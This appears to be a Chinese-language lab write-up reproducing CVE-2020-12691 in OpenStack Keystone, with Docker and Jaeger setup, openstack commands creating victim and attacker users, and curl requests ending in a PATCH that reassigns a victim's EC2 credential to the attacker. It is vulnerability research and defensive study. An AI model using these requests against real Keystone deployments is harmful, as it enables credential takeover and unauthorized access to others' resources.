前言
5.14 的时候就写好了,就是一直没发(摊手
使用 Victoria 版本的 Keystone(18.0.0)不能复现漏洞利用,但是可以获取漏洞利用过程中所需的相关信息。
该漏洞的原理是使用受害者的 X-Subject-Token、credential,将其 credential 对应的 user_id、project_id 替换为攻击者的,攻击者因此获得了 credential 的使用权,进而使用该 credential 请求受害者所有的资源。漏洞利用所需的信息包括:
- user_id
- project_id
- credential
- X-Subject-Token
相关概念
令牌(Token)
一旦用户的凭据(credential)通过验证,令牌服务验证和管理用于发起授权请求的令牌。
下图是请求 token 的时序图,在 v3 版本的 API 中,token 在 HTTP 头部的 X-Subject-Token 字段中,而且作为 HTTP 头部的 X-Auth-Token 字段,用以向其他服务提供认证。
应用程序凭据(Application Credential)
用户可以创建应用凭据来允许其应用向 Keystone 进行认证,用户可以将其在项目上的角色分配的子集委托给应用程序凭据。应用使用凭据(而不是用户名密码)进行身份认证。
EC2 credential 允许用户通过 Amazon S3 API 访问 OpenStack 资源。
实验环境
使用 Virtualbox 虚拟机安装 Ubuntu 18.04;然后再安装 Docker 和 Jaeger 相关的 Python 库。
- 安装 Docker
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| sudo apt update
sudo apt install \ apt-transport-https \ ca-certificates \ curl \ gnupg \ lsb-release
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo \ "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update sudo apt install docker-ce docker-ce-cli containerd.io
sudo usermod -aG docker $USER newgrp docker
sudo systemctl enable docker.service sudo systemctl enable containerd.service
|
- 安装 Docker Compose(虽然没用到xd)
1 2 3 4
| sudo curl -L "https://github.com/docker/compose/releases/download/1.28.6/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose docker-compose --version
|
- 使用 pip 安装 Jaeger 相关的库
1 2 3
| pip install jaeger_client pip install opentracing
|
- 启动 all-in-one 镜像
1 2 3 4 5
| docker pull jaegertracing/all-in-one
docker run -itd -p 6831:6831/udp -p 6832:6832/udp -p 16686:16686 jaegertracing/all-in-one
|
漏洞利用
使用 admin 用户执行以下指令,创建受害者(user1)和攻击者(user2)用户,并绑定角色和项目,最后各自生成一个 EC2 credential 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| openstack role list
openstack role create myrole
openstack project create --description 'cve-2020-12691' project1 --domain default openstack user create --project project1 --password password user1 openstack project create --description 'cve-2020-12691' project2 --domain default openstack user create --project project2 --password password user2
openstack role add --user user1 --project project1 admin openstack role add --user user2 --project project2 myrole
openstack role assignment list
openstack ec2 credentials create --project project1 --user user1 --user-domain default --project-domain default openstack ec2 credentials create --project project2 --user user2 --user-domain default --project-domain default
openstack credential list
|
对 Keystone 进行插桩,追踪 openstack credential list
的执行链路。发现包含漏洞利用所需的所有信息,但对应的 X-Subject-Token 是 admin 用户的。
改用属于 admin 角色的 user1 用户执行该指令,admin 角色的用户可以查看所有 credential:
1 2 3 4 5 6 7 8 9
| export OS_USERNAME=user1 export OS_PASSWORD=password export OS_PROJECT_NAME=project1 export OS_USER_DOMAIN_NAME=Default export OS_PROJECT_DOMAIN_NAME=Default export OS_AUTH_URL=http://127.0.0.1:5000/v3 export OS_IDENTITY_API_VERSION=3
openstack credential list
|
(user1)除了 X-Subject-Token ,还包含 user_id、project_id
(user1)另一条 trace 中包含 credential ,根据 user_id 和 project_id ,可以辨认出 user1 用户的 credential
(user2)赋予 myrole 角色的 user2 只能看到自己的 credential 信息
(user2)追踪信息和 user1 用户的相同,包括自己的 X-Subject-Token、user_id、project_id
以下是漏洞利用的过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| curl -i -s\ -H "Content-Type: application/json" \ -d ' { "auth": { "identity": { "methods": ["password"], "password": { "user": { "name": "user1", "domain": { "name": "default" }, "password": "password" } } }, "scope": { "project": { "name": "project1", "domain": { "name": "default" } } } } }' \ "http://localhost:5000/v3/auth/tokens?nocatalog"
curl \ -H "Content-Type: application/json" \ -H "X-Auth-Token: gAAAAABgdRYFHdUj407-Ysq_SSPjsB5NXYDmjtFx6WCKcbgh7QBSIJSxa0s4b7RDs0fxO3eB5GW6X1vD9o1PSUQn-nKX2KzJRQHKhWHlDBWM8xjCWsZmfEMd7dOM0VyUXb5P8H4H4CKCqoCZcwQw-eibA_u6NWuNHG8kAR-AQR2OyDSKMF9X9Yg" \ "http://localhost:5000/v3/credentials" | python -m json.tool
curl -X PATCH \ -H "Content-Type: application/json" \ -H "X-Auth-Token: gAAAAABgdRYFHdUj407-Ysq_SSPjsB5NXYDmjtFx6WCKcbgh7QBSIJSxa0s4b7RDs0fxO3eB5GW6X1vD9o1PSUQn-nKX2KzJRQHKhWHlDBWM8xjCWsZmfEMd7dOM0VyUXb5P8H4H4CKCqoCZcwQw-eibA_u6NWuNHG8kAR-AQR2OyDSKMF9X9Yg" \ -d ' { "credential": { "project_id": "b0419aebd03c40f3b8b0c413d19056ce", "user_id": "6d173c8b8d354c0b8f890a0666821a64" } }' \ "http://localhost:5000/v3/credentials/416f331f7a26867c8be1fe3c574b4878b09b58fd272b7ab60bb568b52deabdb9"
|
也就是说,只要获得了受害者的 X-Subject-Token、credential ,就可以通过 PATCH 请求将 credential 对应的所有者替换为攻击者的。
Jaeger API
返回追踪信息,保存为 json 格式。
1 2 3 4
| curl "http://localhost:16686/api/traces/a6192f3a980c57b5" -o 3.json
cat 3.json | python -mjson.tool
|
这里的 trace-id-hex-string
是路径中完整的字符串,不是 Jaeger UI 中的缩略显示。
总结
-
从复现漏洞利用的角度来说,链路追踪可以获取到大量的可用信息,帮助构建漏洞利用脚本;
-
从发现漏洞的角度来说,通过链路追踪的到的数据进行分析,可能发现异常。
- 上述漏洞可以通过使用同一个用户执行相同指令,对比发现返回的结果不同。具体来说就是漏洞利用之前和之后
openstack credential list
返回的数据不一致,因此可以推断这里可能产生了异常。
参阅